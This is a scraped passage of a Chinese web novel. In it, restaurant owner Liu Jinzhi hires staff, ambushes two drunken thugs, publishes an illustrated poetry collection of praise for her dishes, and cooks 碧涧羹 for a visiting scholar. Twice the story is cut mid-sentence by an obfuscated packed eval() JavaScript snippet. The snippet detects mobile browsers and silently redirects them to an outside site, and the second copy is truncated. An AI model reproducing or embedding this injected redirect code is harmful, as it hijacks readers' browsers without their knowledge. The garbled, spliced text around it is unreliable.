但柳金枝觉得饭馆还能更上一层楼，于是决定将饭馆的营业时间延长。 以往他们只做下午和夜市的生意，现在他们连同着上午、中午的生意一块儿做。 这就对跑堂有更高的要求了。 虽然杜卫也能勉强支撑，再加上潘安玉时不时蹿来热情帮忙。 但这样靠两个人轮流下去总不是个办法。 而婶子们年纪也大了，若让她们跑堂，一整天站下来，身体肯定要累出点病痛。 何苦折腾人家？ 还是得招专业人才才行。 要是有机会，就连大堂经理也一块儿招了，专门给她统筹饭馆里的大小事务。 好在上次柳霄写了招聘启事贴在饭馆门口，很快就有了一些人来询问。 于是柳金枝专门抽出了一点时间，开始了面试！ 月牙从旁协助，给来面试的人分发号码牌，再按照应聘职位的不同排队进屋面试。 跑堂、掌柜、账房…… 分的十分清楚。 第一个来面试的是个身材高挑，面色红润，眉目清秀的年轻男人。 男人对柳金枝叉手下拜，恭敬道：“东家，小人想领跑堂的差。小人嗓音洪亮，记性也好。以前没还俗的时候，曾是个唱经和尚。” 柳金枝饶有兴趣地问：“你以前还当过唱经和尚？” “是的。”男人说起来也不好意思，面皮发红，“小人待的庙宇不许和尚娶妻，但小人有自小就定下的未婚妻，所以小人就还俗了。” “从小定下的？”柳金枝愣了下，“那为什么你还要先去当和尚？” “东家有所不知，我们家乡遭了荒，我和她就逃难来了汴京。” “我俩约定，各自找一个能活下去的差事。” “她去了高官府里当丫头，我就去了庙里头当和尚。” “其实当唱经和尚挺赚钱的，但是今年她的奴期就要到了。要是再等下去又要五年，所以我就寻思着出来找个新差事。” 男人说话的语气很诚恳，面相看起来也老实。 柳金枝就让他试着报了一段菜名，口齿也是清晰又流畅。 “好，请你到外面等一等。” 柳金枝笑道。 男人听话地退了出去，换了第二个人来。 第二个是个身材矮小，但面色红润的瘦弱男人。 简单自我介绍过后，柳金枝同样让人报菜名。 与第一个男人一样流畅、自然，但稍有气虚，音色也不够圆润。 第一个人能被选上唱经和尚，确实是有点底子和天赋在的。 往后接着面试，但好几个都不比第一个出色。 柳金枝便定下了第一个男人，将他的名字“王忠勇”记了下来。 紧接着就是面试掌柜和账房。 这两个职位需要考察的方向各有不同。 掌柜要会统筹大局，和察言观色，账房则要求对算数精通，绝不出错。 也许是柳金枝这里的饭馆还不够大，来的人才不够多。 挑来挑去，都没有什么特别合适的。 只能是矮子群里拔高个儿，勉强提拔了两个上来。 一个叫林勤，是土生土长的汴京人，有当掌柜的经理，但时间不长，只有三个月，那小饭馆就因为经营不善倒闭了。 但胜在颇为机敏，给他一段时间成长，说不定也有惊喜。 一个叫吴兴镛，是个屡试不中的酸秀才，四十几岁的年纪。 虽然他的算术能力足够应对饭馆的琐事，但为人有些古板、迂腐、不太善于沟通。 柳金枝就交代林勤多留意吴兴镛一些，不叫吴兴镛与其他员工发生矛盾。 至此，饭馆的三个职位都定下了人选。 杜卫就可以一心一意当采办和咸汉，也能轻松一些。 柳金枝满意地拍了拍手，让阿芹把招聘告示揭下来，然后就带着新招聘的几个员工开始干活儿。 “咱们饭馆不仅售卖各类菜品，点心、朝食也有卖。”柳金枝把三块单子牌面递给王忠勇，“所以你需要背下三块单子牌面，还得分清当天的特色菜品、折扣出售、不再售卖和已售罄的菜色有哪些。” 王忠勇认真点点头，把单子牌面接了过来。 “掌柜的是个重要差事，你得统管整个饭馆的人。比如膳房有一个主膳工，和一个膳徒。” “后头有三个洗碗的婶子。” “还有跑堂的王忠勇、管账的吴秀才、跑腿和采办的杜卫，他们每个人每天该做什么样的活计，你都得安排得当。” 柳金枝道。 林勤看着饭馆里客似云来的红火模样，也清楚这家饭馆绝不是他上次工作的饭馆可比的。 也就格外慎重地点头：“东家放心，我会注意的。” 柳金枝一笑，又转向吴兴镛，语气软了一些，道： “吴秀才，你有一间自己的小房间，就在饭馆的后院儿。” “你的任务就是算清楚饭馆每日的银钱流水，比如买进的菜蔬花费银两？卖出的菜品收得银两？” “每个月要总出一份流水账单给我，总算出当月的进项和出项。” “吴秀才，此事对你可有难度？” 吴兴镛扯了扯嘴角，冷笑道：“寻常人家的流水计算，难道比得上朝廷出的题目难？” 柳金枝笑道：“那就拜托先生了。” 当然，柳金枝立志要做的不是万恶资本家，是一个有良心的好老板。 “诸位在我手底下办差，且不要瞧我是一介女流，就以为我感情用事，心与耳根子都软。” “恰恰相反，我是奖惩分明。” “办事办的好，不管你职位高低，每个月都有额外的奖金。” “但办事办的差，我也不管你是有脸的、还是没脸的，银子，我照样扣。” 柳金枝把丑话说在前头，语气自然就严厉了些。 吴兴镛一皱眉，似乎很不喜欢她这态度，正要开口，岂料下一句就听到： “我们饭馆生意还不错，作为东家，我也不会亏待你们。” “你们每日可得工钱为一百二十文，逢年过节额外有礼品相送。” “待往后饭馆生意越来越红火，就由我这个东家出银子，带你们外出游玩。不想去的，我也折了现银给你。” 柳金枝唇边带着笑，眼眸亮晶晶的，道：“好了，现在，如果有人不接受我的条件和要求，可以走了。” 她侧身让开一个空间。 而方才还想说些什么的吴兴镛一下子闭了嘴。 其他两人更是连眼睛都亮了。 那可是一百二十文！ 普通人一天也就赚个一百文左右。 更别提还有这些个福利。 傻子才不在这儿做。 于是王忠勇和林勤两个争相表忠心。 就连最为清高的吴兴镛也在纠结半晌之后，憋出了一句：“谢谢东家。” 有钱能使鬼推磨，古语诚不欺我。 * 三位新员工在饭馆里工作了一天，目前适应情况良好。 柳金枝看在眼里，也放心了很多。 而阿芹的厨艺也有了一定的进步，上回柳金枝提出她做的“糖醋丸子”有问题后，她就潜心钻研，改良了许多，又做给柳金枝吃。 这回的味道出色多了，不再是自家后厨里的小打小闹，而是可以在饭馆挂牌的程度。 “阿芹，其实每个人都有自己的路子。你可以跟着我学厨艺，但你自己的手艺别荒废了。” 柳金枝擦了擦嘴。 “你的糖醋丸子做的不错，可以在饭馆内挂牌，有没有想过接下来再钻研一道拿手菜？” 阿芹道：“其实我做饭的手艺都是我娘教的，她怎么教，我就怎么做，这多年来，我做习惯了，也吃习惯了。” “所以很多道菜我吃不出哪儿不对劲，若要钻研，只能劳烦东家多替我试菜。” “这个是自然。” 柳金枝答应。 阿芹若精进了手艺，受益的其实也还是柳氏饭馆。 “好，那下一道菜我便做过油肉，也是山西那边的名菜。” 阿芹高兴的说。 柳金枝点点头，道：“今天时间正好，我替你把糖醋丸子加上单子牌面，看看食客们的反应。若是反响不错，销量可观，我给你额外的赏钱。以后你每研制出一道受欢迎的菜，福利都如现在这般。” 阿芹虽然来柳氏饭馆，更多的是为了学手艺，但白花花的银子砸下来，谁不心动？ 当下便忍不住心潮澎湃，浑身满满都是动力，恨不得立马再钻研出十道菜来。 “谢东家！” 汴京城是富贵聚集之地，天南海北的商人都会在此处略作停留，当然也不会缺少山西人。 所以林勤把“今日特色——陕西名菜‘糖醋丸子’”挂在饭馆门口后，很快就吸引来了几位山西老乡。 他们一面打量着饭馆内的装潢布置，一面落座，互相交谈道： “以前来汴京的时候，倒没见过这个饭馆。” “兴许是新开的。” “罢了，先点菜，试试他们这儿的糖醋丸子。” “许久不吃家乡菜，也不知道这里的膳工能不能做出那份味道。” 两人笑了笑，年近中年的脸上，满是奔波操劳带来的沧桑沟壑。 人在他乡的游子，最想的莫过于一口家乡美食。 不求一模一样，但求形似，也能一解思乡之苦。 王忠勇替二人把菜名记下来，又推荐了一些饭馆热卖小食，这才立在膳房门口唱出菜名。 一回生、二回熟，三回闭着眼睛都能做。 阿芹运手如风，不消片刻，一碟糖醋丸子就做出来了，由王忠勇再端到二人桌上。 柳金枝靠在柜台后，仔细观察两个人吃饭的样子。 其中一人夹起肉丸放在嘴里咬了一口，咀嚼片刻后，微微一愣。 对面那人也是，像是不可思议般又咬了一口，随后抹了把脸，扬起了一个笑。 没有像电视剧那样，两人红着眼眶开始抱着家乡菜哭泣。 他们默默埋头扒饭，只是吃丸子的速度快了许多。 一碟十二只丸子，几乎是眨眼之间就被他们扫进了肚子里。 吃完饭，二人也没急着走，又坐着看了一会儿膳房处，才起身到林勤这里结银子。 走时，其中一人问：“掌柜的，敢问做糖醋丸子的膳工，是山西人吗？” 林勤不清楚，看向柳金枝。 柳金枝点头：“是山西来的芹娘子。” 那人便是一笑，锤了同伴一拳头，道：“你瞧，我就说是山西老乡。” 同伴乐呵呵的，道：“东家，劳烦你替我们带句话，山西近年来的收成不错，她要是因为以前逃荒出来的，现在可以回家看看了。” 言罢，二人重新背起包袱上路了。 阿芹听在耳朵里，感慨良多。 柳金枝是第二次听到逃荒这个词。 她问道：“其他省份灾情很多吗？” 这个问题王忠勇最有发言权。 感叹道：“是啊，旱灾、洪涝都有，百姓们辛辛苦苦种的粮食，一遇到这些灾情就全毁了。不想饿死的，就只能外出逃荒。” 柳金枝抿了抿唇，看向街道外，车水马龙、游人如织，好像外头的天灾人祸永远都到不了汴京。 也难怪，逃难到汴京是所有人的首选。 这里正是天下最繁华处。 * 从正午到晚间，阿芹的糖醋丸子卖的很不错。 给本来就爆火的小饭馆增色不少。 载加上做夜市，一行人忙碌到三更鼓，也就是凌晨三点才关上门。 柳金枝打了个哈欠，本是要回家。 但正巧遇上杜卫扛着扁担，送完吃食回来。 杜卫道：“东家，我在回来的路上遇见宣泰桥那些个泼皮无赖了！正朝我们这边来呢！” “好啊，终于来了。”柳金枝困意一扫而光，她撸起袖子，“走，杜卫，跟我出去走一趟。” 又转身吩咐阿芹：“阿芹，你先把月牙送回家吧。” 他们今天收摊太晚，月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597309|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙已经把小脸枕在饭桌上，呼呼大睡起来，脸蛋红红的，煞是可爱。 阿芹道：“好，东家一切小心。” 柳金枝点头，让杜卫拿上扁担、麻袋，出了门。 深夜中的汴京城依旧繁华热闹，但三更鼓时，繁华慢慢褪却，周边街道都是一副狂欢过后的狼藉模样。 柳金枝提裙跳过地面上一摊垃圾，与杜卫蹲在了一处街角。 “东家。”杜卫无限压低了声音，“那几个泼皮无赖要想以最快的速度赶到咱们饭馆，这条街是他们的必经之路。” 柳金枝点点头，道：“确定他们只有两个人，对吧？” “对！” “好，那待会儿咱们这样做。” 柳金枝凑近杜卫的耳畔低语了几句。 杜卫点头。 正巧，这时街道远方也摇摇晃晃走过来两道影子。 其中一个身形高高壮壮，蓄着络腮胡须。另一个高高瘦瘦，形容猥琐。 两个人一边走，还在一边嘀咕。 “大哥，柳家那雌儿我见过，生的着实带劲儿！玩起来不知道有多销魂。” “听说她未曾许过人家，还没破瓜呢。” “这不正巧便宜了你我？” 两人嘿嘿一笑。 “大哥，我早踩过点了，她家里一个男人都没有，我们闯进去，把个刀子插在门上，那些个小鬼胆子都要吓破，绝不会来插手帮忙。” “就是敢来帮忙，你我一脚一个，踹翻就好。” 他们似是喝了酒来的，言语之间醉醺醺地，也很是嚣张。 柳金枝被恶心地皱起眉头，转头对杜卫说：“等会儿狠狠打！不要留手！” 杜卫绷着脸：“当然！” 二人静待时机。 直到其中瘦高男人起了尿意，往街角蹭了两步，解开裤腰带开闸放水。 柳金枝与杜卫才行动起来。 她解开腰中茄袋，取出一块银子抛出去。 月光倾泻之下，银子闪烁着光芒，叫瘦高男人眨巴了两下眼睛，继而摇摇晃晃朝银子走来。 男人捡了一块，柳金枝又丢一块。 直到把男人引到小巷更深处，杜卫拿着麻袋迎面一扑！ 直接把男人套在了麻袋里。 男人顿时惊慌失措，就要叫出声来，柳金枝操起扁担就是一下！ 砰——！ 这一下正中小腿，男人直接疼晕了过去。 高壮男人似乎听到了什么异样，试探性地问：“二弟？二弟？！你那边怎么了？” 这个人喝的酒显然比瘦高男人少，声音起来还算清醒，脚步也很稳重，比瘦高男人难对付。 柳金枝却不怕，她撸起袖子，操起扁担，打算等男人到了，她再闷头一敲。 下一刻，只听得噗通一声，像是什么重物砸在了地面，紧接着男人的声音就消失了。 这什么情况？ 柳金枝与杜卫对视了一眼，双方都有些紧张，小心翼翼朝前方看去。 却看见两三个鬼鬼祟祟的人影，围成一团，对着地上躺着的高壮男人道： “怎么就麻达一个？他弟弟麻二呢？” “我看麻二往小巷子里去了，估计是喝多了撒尿呢。” “走！把麻二找出来。” …… 说完，人影就朝柳金枝这边摸来。 柳金枝还想着，这两个泼皮无赖还真是四处结仇，居然一天只能有两波仇家找上门，下一秒却猝不及防与一张熟悉的脸对上了视线。 “潘、潘大官人？！” 柳金枝瞪大了眼睛。 潘琅寰看着柳金枝手里的扁担，和身后拿着麻袋的杜卫，同样目瞪口呆。 而潘琅寰身后，潘安玉、应天爵、项志轩都冒出了头。 双方面面相觑。 潘琅寰扯下脸上面巾，道：“三更半夜的，你们出来干什么？” 柳金枝指了指脚边被自己打晕的瘦高男人，咳咳道：“额……出来寻仇，你们呢？” 应天爵笑道：“妹子，我们替你寻仇呢。” 原来潘琅寰老早就知道孙玉香来找麻烦的事儿了，也知道最近有人不老实，盯着柳氏饭馆。 但柳金枝不许杜卫去寻应天爵，摆明了是想要自己一个人解决，潘琅寰就是有心插手，也不好开口。 思来想去，为了保证柳金枝的安全，潘琅寰决定摸清楚这几个地痞无赖的路线，带着人在深夜里把他们解决掉。 潘安玉道：“柳姐姐你不知道，他们这伙儿人足有七个，互为拜把子兄弟，常年凑在一起做些腌臜事。” “我们与潘大官人一同，先是摸去了他们老巢，把那五个打了一通。还余下这两个外出了，这才一路顺着踪迹摸过来。” 项志轩道。 柳金枝看向潘琅寰。 潘琅寰却不耐烦地朝潘安玉、项志轩等人摆摆手，道：“都闭嘴，这有什么好说的？既然现在没事儿了，那就散了吧。明个儿我再请你们吃饭。” 应天爵见状，却有些犹豫。 他知道潘琅寰对柳金枝有意，但同样的，傅霁景也对柳金枝有心。 作为朋友，他乐于见到潘琅寰抱得美人归。 但出于利益，他又希望柳金枝能与傅霁景终成眷属。 此时此刻，潘琅寰的所作所为，就是他都不免意动。 就怕柳金枝也为之有所感触。 那傅霁景怎么办？ 所以，应天爵在犹豫自己要不要留下来当电灯泡。 却不想此时有巡逻队的敲锣走来，他们这群人全都停在这里太过显眼，一下子就被看见了，免不得大吼一声： “谁在哪儿？！” 虽说他们师出有名，但被抓住还是要挨板子的！ 一群人顿时慌张失措，赶忙作鸟兽散。 潘琅寰本想护着柳金枝，怕她被巡逻队的拿住。 明明已经伸出手去抓住了柳金枝的衣袖，偏偏黑夜中他不知被谁撞了一下，布料从他手中倏然滑走。 再抬眸时，他已经与柳金枝跑散了方向。 唯有手心还残存着布料的触感。 41. 碧涧羹 惊蛰过后，春闱之事尘埃落地。 同期集会的时候也要提上日程了。 柳金枝先是与傅霁景确定了人数，定好当天会有三十人到柳氏饭馆来，还有余下七十几位考生，则是再分两组，去往其他饭馆集会。 这样为柳金枝减少了人员压力，叫她松了一口气。 为了不叫傅霁景失望，柳金枝提前一天带着杜卫去市场进行采买。 把当天要用到的食材都买了一遍。 集会当天，她把自己拿手的菜色都做了一遍，包括但不限于—— 姜辣羹、卤烧鹅、馉饳、馄饨、紫荆花水晶饺、菜色春饼福袋…… 书生们一进小饭馆的门，就闻到了一股浓郁的菜香，各个都迫不及待地入座了。 傅霁景落在最后头，与柳金枝道谢。 “有劳娘子费心了。” “这有什么？我收了二郎的银子，自然要尽心。” 傅霁景笑了下，转身想走，但没两步又停住，对柳金枝道： “……对了，上回娘子送了我定胜糕和春饼，几位同年吃过后都很欢喜，这是他们写的，我瞧着有几首诗还不错，就留下来了。” 柳金枝有些惊奇地接过诗稿，翻开看了两首。 第一首赞颂定胜糕，写作： “定胜何须问，糕香已报春。江南多锦绣，此物最传神。”① 第二首又有夸赞春饼，是为： “木案初开银线乱，砂瓶煮熟藉丝长。匀和豌豆搡葱白，细剪萎蒿点韭黄。”② 以柳金枝有限的文学水平，她觉得写的很不错。 诗稿一共三篇，很快就翻完了。 柳金枝还想再多看两篇呢。 毕竟这种有文学的彩虹屁，看再多也不嫌累。 忽然，柳金枝好似想到什么，问：“二郎有写诗吗？” 傅霁景耳尖微红，摩挲了一下手指，道：“……写了，但写的不好。” “怎么会呢，不如给我看看？” 柳金枝笑着朝傅霁景伸出手。 傅霁景犹豫着把手伸进袖子里，取了一张折叠成正方形的纸出来，捏在手里，松松紧紧。 柳金枝见他这么犹豫，干脆将纸张抽过来。 傅霁景低咳两声，扭头道：“你先看，我先入席了。” 言罢快走两步。 却不想又被柳金枝叫住。 “诶，二郎，等一下。” 傅霁景立即回头：“什么？” 柳金枝取下那块玉，对着傅霁景晃了晃：“你送的礼物，我很喜欢。” 绯红从耳尖霎时间蔓延至脖颈，傅霁景又被憋成了锯嘴葫芦，急急忙忙地转身退走了。 柳金枝笑着目送傅霁景进屋，然后打方式纸条。 上面用圆润敦厚的字体写道： “无声细下飞翼月，放箸未觉金盘空。” “卷尽春风三寸舌，咬来五谷俱丰登。”③ 柳金枝挠挠下巴。 看不懂，但觉得是好诗。 * 书生们的聚会一开始，就持续了将近两个时辰。 期间柳金枝买了樊楼的金华酒送进去，看着这些书生高兴启封酒坛，喝了个伶仃大醉。 傅霁景本想少喝些，却耐不住劝，被人连灌五杯金华酒，眼前也不由炫目起来，只好以单手撑住头颅，坐在原位静静闭目养神。 另外一些喝醉了的书生们，或是投壶助兴，或者齐声高歌。 柳金枝这个饭馆不大，即使中间挡着屏风，但拦不住他们的声音。 于是没过多久，柳金枝就听到里头有书生提议： “光是饮酒玩耍多没意思，不如我们来办一场醉诗会，看看谁能拔得头筹！” 此言一出，众皆响应。 柳金枝坐在外头，酸懒地拨了个算珠，心想：果然是群文人，喝醉了也不发酒疯，倒发诗疯。 “行，定个主题吧，咱们咏什么？” “呃呃……就、就咏桌上的菜。一共二十八道菜，一道菜作一个题，没咏出来的罚酒三杯！” “好！傅、傅兄，来来来，你来启头！”拿笔墨纸砚！ 有人去拉傅霁景，但傅霁景醉的太厉害，依旧端坐原地不动。 柳金枝见状，也不想傅霁景留在一堆醉鬼里头，转头让林勤去把傅霁景扶到后院去醒醒酒。 林勤听话去了，也正是把傅霁景扶着往后院走。 但路过柜台时，傅霁景好似认出了柳金枝，忽然就甩开林勤的手，在柳金枝面前站定了。 柳金枝一愣，疑惑道：“二郎，你是有什么事要吩咐吗？” 傅霁景眉眼极为俊美好看，往日清醒时，一双眼眸似春风湖水，明亮如镜。如今醉醺醺的，眼眸反而像一汪深不见底的幽潭，叫人不知道他在想什么。 在听到柳金枝的话后，傅霁景就伸手去掏自己的袖子，似乎在找什么东西，嘴里还念着：“纸……纸……” 柳金枝以为傅霁景是想找给她写的诗，就把那张方块纸在傅霁景面前晃了一晃。 “你已经给我了。” 柳金枝说。 岂料傅霁景眯眯着眼凑近看了半晌，又摇头：“不……不是这张。” 紧接着又翻找起来。 此时温文尔雅，君子端方的傅家二郎，红着脸翻找自己的袖子，就像最不懂事的幼稚小儿一样。 有食客忍不住笑了笑，扯着同伴去看傅霁景的醉态。 柳金枝却将眉一拧，拉着傅霁景去了后院。 她不想别人看傅霁景的笑话。 林勤见状，就赶忙回过头笑道：“喝醉了人没什么好看的，大家吃菜，吃菜。” 而柳金枝把人拉到后院，傅霁景还是在翻找袖子，可是好半天没找到，又沮丧又难过地说：“……没……了……” 他哭丧着脸，两只眸子像是被水洗过一样水润，眨巴眨巴的，像只无主的小狗。 柳金枝方才还拧起的眉头一下子就松开了，忍不住哄他道：“二郎，你已经把东西给我了，我收着呢。” 然后将人往膳房外头的小杌子上一按，说：“现在二郎听话，就坐在这里别动，我去给你煮醒酒汤。” 傅霁景反应很迟缓，好像大脑还在消化柳金枝的指令。 好一会儿才慢慢吞吞地点头：“……好。” 然后就跟儿童第一天上学似的，整理好宽大袖子，整理好衣冠，挺直了背脊，两手放在膝盖上，端端正正坐在小杌子上一动不动。 柳金枝可惜手上没个手机，不然就能录下来，第二天帮傅霁景回忆黑历史了。 她也没想到傅霁景的酒量居然那么差，五杯金华酒而已，连她都放不倒，居然能醉成这样。 一边想着，一边加快了熬醒酒汤的速度。 正此时，书生们在饭堂里作诗的声音传来。 傅霁景听了，头往那边偏了偏，也跟着小声碎碎念。 柳金枝凑过来听了一耳朵，但…… 傅霁景：“……” 柳金枝：？？？ 她怎么一句话都听不懂。 好歹她也是经历过现代九年义务教育的，怎么到了傅霁景跟前跟文盲一样。 “二郎，你读过很多书吗？”柳金枝问。 傅霁景又卡顿了一下，才扭过头，慢吞吞地掰指头给柳金枝数： “《周易》、《礼记》、《诗经》、《孟子》、《左传》、《诗经》、《尔雅》、《战国策》……” “《文心雕龙》、《嵇康文集》、《典论·论文》、《阮籍文集》、《天随子》、《宗玄先生文集》、《傅山全书》、《各道家诸子典籍注疏》……” 傅霁景念了一盏茶的时间还没有打住的趋势。 柳金枝赶紧伸手捂住了傅霁景的嘴。 “好，够了。” 她现在终于相信，“我读过的书比你吃过的饭还多”不是一个夸张句了。 这么说起来，傅霁景自打识字起，应该就一直在书房里埋头苦读。 这么庞大的阅读量，也不知他要起多少个早床，看多少次东边稀薄的朝阳，忍着多少困意，吞下过多少苦楚。 柳金枝望着傅霁景的眼神，问：“读这些书，累不累？” 傅霁景眼眸沉沉，点了点头：“累。” 有限的精力似乎已经到头了，傅霁景用袖子掩住唇齿，低低打了个哈欠，然后把头枕靠在自己膝上。 “困了……” 他嘀咕了一句，随后就响起了均匀的呼吸声。 很好，睡着了。 柳金枝无奈笑笑，唤来杜卫去寻杏安。 等到杏安慌慌张张来接人后，醒酒汤也好了。 她盛了一碗装在食盒里给杏安带走，嘱咐他在傅霁景醒过来之后热了喝。 酒量差的人，醉酒之后醒过来都会感到头痛。 喝了醒酒汤，起码能舒缓许多。 杏安连声道谢，赶忙把傅霁景扶走了。 目送着傅家马车离开，柳金枝终于把注意力放在了那群集会的书生身上。 然而林勤和王忠勇满面为难，指着屏风内道：“东家，要不你亲自来看看？” 柳金枝心中顿生不祥预感，赶忙跑进屏风里一看，顿时咬牙切齿。 因为里头漫天遍地都是纸。 还有喝醉了的书生趴在地上在写诗，写一张，扔一张。 诗作从天上哗啦啦往下飞，盖住柳金枝的脸。 柳金枝随手抓着一张眸光下移。 “鲈鱼千头酒百斛，酒中倒卧南山绿。”④ 又抓住下一张：“秀色可怜刀切肉，清香不断鼎烹龙。”5 柳金枝本来要隐隐爆发的怒火停滞了一下 其实这些诗写的都还不错。 更主要的是，这漫天飞舞的纸上的每一首诗，都是以她的菜作为主题，而且全是夸赞。 这不就相当于现代的探店好评？ 文案都不用她自己写。 而她要做的，就是借着这么个绝佳的宣传机会，把柳氏饭馆的名声再打响一次。 柳金枝怒气尽消，甚至还有些愉悦。 对林勤和王忠勇道：“把这些纸张都捡起来，再给我找一个书坊的掌柜。” 她要出诗集！ 其实文人向来都有出诗集的习惯，比如乡试之后大家聚会出一本，殿试之后大家集会出一本…… 出诗集不仅能够集结同好，还能提高知名度，就跟个人代表作一样。 要不是出诗集要价颇高，估计人人都会去试试。 但现在是柳金枝出钱，替书生们出诗集。 等到书生们酒醒之后问了一遍，几乎没有不同意的。 有的甚至还想多加两首诗。 毕竟是花别人的钱，扬自己的名。 何乐而不为呢？ 在和书生们沟通好之后，柳金枝就带着这些草稿纸去了一家书坊。 但诚如她之前所说，在古代，书生们出个诗集是再正常不过的事情了。 汴京城里每天出来的诗集不说几千，几百也是有的。 但大家每天工作那么忙，谁有时间去慢慢看你的诗？况且古代文盲率高，大部分人还不识字呢。 所以，如何让这本诗集脱颖而出？ 柳金枝想到的招数是“插图。” 请一位技巧精湛的画师为每一道菜，都画一副色彩浓艳、菜色精致的画，装订在每一首诗作旁边。 就是看不懂诗的人拿到了这册诗集，也能借插图钓起他们的馋虫。 这事柳霄极为赞成，又询问了黄师道还有几位师兄，给柳金枝推荐了一位技艺高超的画师。 在柳金枝出手大方的前提下，画师以半个月的时间，完成了二十八道菜品的绘图。 再加上书坊利用活字印刷印出拓本，再进行装订。 一个月后，一本史无前例的美食诗集终于出版了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604544|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳金枝拿了十来本放在自家店门口销售，定价都不高，主要还是为了打开知名度。 柳霄那边也拿了几本去送给师父、师兄，潘琅寰、潘安玉、项志轩、应天爵四人也是一人一本，又拿了不少，去分发给亲朋好友。 其实柳金枝还想请傅霁景帮帮忙，但又觉得这种类似于派发传单一样的事情，不太符合傅霁景的格调。 纠结半晌，就只请了杏安帮忙。 当然，她也给傅钗华送了一本，撇开诗集本身不谈，当一本菜谱来看，它还是很精美的。 就这样在众人积极的推销、宣传之下，这本诗集终于在汴京城里小小流行了起来。 高门大户里的讨论点自然是在诗作本身，但平民百姓看的都是插图，个个都馋的不行。 终于有一天，有一道敦厚的身影拿着诗集走进了柳氏饭馆。 那是个有着四十岁光景的男人，蓄着山羊须，穿一身宽大的圆领襕衫，头上戴一顶东坡帽，唇边含着一点笑意，气质从容和缓。 甫一进饭馆的门，他就以打量的眼光将整个饭馆上下巡视了一遍。 尔后背着手，溜溜达达走到一张饭桌前坐下，开始细致地看饭馆里的所有菜色。 虽然林勤当掌柜的时间不长，但他敏锐的捕捉到了这个男人的不同凡响，赶忙溜去膳房告诉了柳金枝。 柳金枝探头一瞧，注意到男人手中的诗集，低声对林勤道：“我不认识他，但你且瞧瞧他要点些什么，哦，告诉王忠勇，无论这人点什么，都说有。” 林勤点点头，又跑过去与王忠勇窃窃私语一阵。 随后，两个伙计都对这个男人格外关注。 直到一炷香后，男人才看完单子牌面，慢吞吞举起手对王忠勇点菜。 王忠勇打起精神，打算等会儿运足了气，给男人来一段好听的报菜名。 却不想男人开口下一句就是：“你们这儿有碧涧羹吗？” 据南宋林洪所写的《山家清供》记载，碧涧羹是宋代饮食文化中的一道经典素菜。 以芹菜为主料，名称来源于杜甫《陪郑广文游何将军山林》中的一句诗—— “青芹碧涧羹。” 因此在文人之中流传颇广。 柳金枝道：“既是他要这羹，那我就与他做。阿芹，准备嫩水芹、芝麻、茴香、盐和苦酒。” 阿芹点点头，从橱柜里拿出这几样东西，一一摆放在灶台上。 柳金枝取来嫩水芹，手中菜刀一转，切下水芹的茎与叶，扔在水盆里头用清水冲洗。 洗净后用筛网捞起来，抖干净叶片上的水珠，架在一个空心盆上。 阿芹低下头给灶眼生火。 为了加快速度，她加满了柴火。 没一会儿铁锅内的水就滚了起来，柳金枝就着筛网，把网内的水芹倒入沸水当中焯水。 这么做主要是为了散掉水芹里的苦味。 但也不能焯太久。 大概在心里默数十下后，柳金枝再度用铁笊篱把水芹捞了起来，反扣在菜板上，用菜刀切段，赶入一只干净碗中备用。 阿芹找出来的调料都是新鲜的，就算隔了稍远一点的距离，都能闻到麻袋里头传来的阵阵香味儿。 柳金枝拿着一只小碗，称出适量的茴香和芝麻，将它俩混合放入石臼之中。 毕竟碧涧羹是一道素羹，如果不加其他调料增香，喝在嘴里就会显得淡淡的，好似喝了草汁。 而茴香和芝麻在碾碎之后，都会出现一种醇厚又令人回味无穷的香味儿。 混在羹中，能最大程度地激发食物原本的香气。 柳金枝就很喜欢这种味道，因此在整个碾碎过程中显得颇为享受。 待到石臼底部只剩下了粉末，她将之倒出来，再加入些许盐进行混合，最后与切段放好的水芹进行搅拌，淋上足量的苦酒，也就是醋，腌上半个时辰。 在这个过程当中，柳金枝叫林勤以给男人上几个免费小菜为理由，趁机偷看了一下男人写在诗集封面上的名字。 孟左辅。 一瞬间，柳金枝觉得这名字有点耳熟。 但她对文学界实在太不了解，哪怕觉得耳熟，也愣是没想起来半点。 只好略作惭愧的把名字记下来，打算改天去问问柳霄，或者傅霁景也行。 水芹腌好之后，就到了最后的煮羹阶段。 柳金枝把水芹再一次放入清水中煮沸，保持汤色清澈，起锅前又淋了少许苦酒提鲜。 等到她把锅内水芹尽数倒入一只薄胎素胚的瓷碗中时，成品越发显得色如碧涧，汤色如雨后碧波，清澈见底。 细细地去闻，还能嗅到酸香之中，带有芝麻与茴香混合在一起的醇厚香气。 柳金枝一笑，把东西递给王忠勇，道：“给那人端上去。” 王忠勇点头。 柳金枝、阿芹两人就凑在膳房后头观察男人的表情。 男人在对王忠勇道过谢后，取过陶瓷汤匙，舀起一勺，吹了吹气，细抿一口。 尔后，眼前一亮，又快快地吃了几口，笑着低语道：“这羹做的入味儿，所谓‘既清且馨’，就是如此了。” 话毕，就埋头苦吃，直至羹稀见底，他才抬起头来，重重舒了一口气。 “小二，敢问可有笔墨么？” 王忠勇一时迟疑。 柳金枝示意了一下林勤。 林勤赶忙抢上前递上了一支上好的羊毫笔，又端着砚台供男人沾墨。 男人执笔蘸饱墨汁，站在饭馆里的一面白墙前停顿片刻，尔后挥毫写下： “青精饭熟思留客，碧涧芹香可献君。” “睡起茶瓯风两腋，功名何啻等池云。”6 尔后以一手狂放草书写下落款——孟义。 孟义，字左辅。 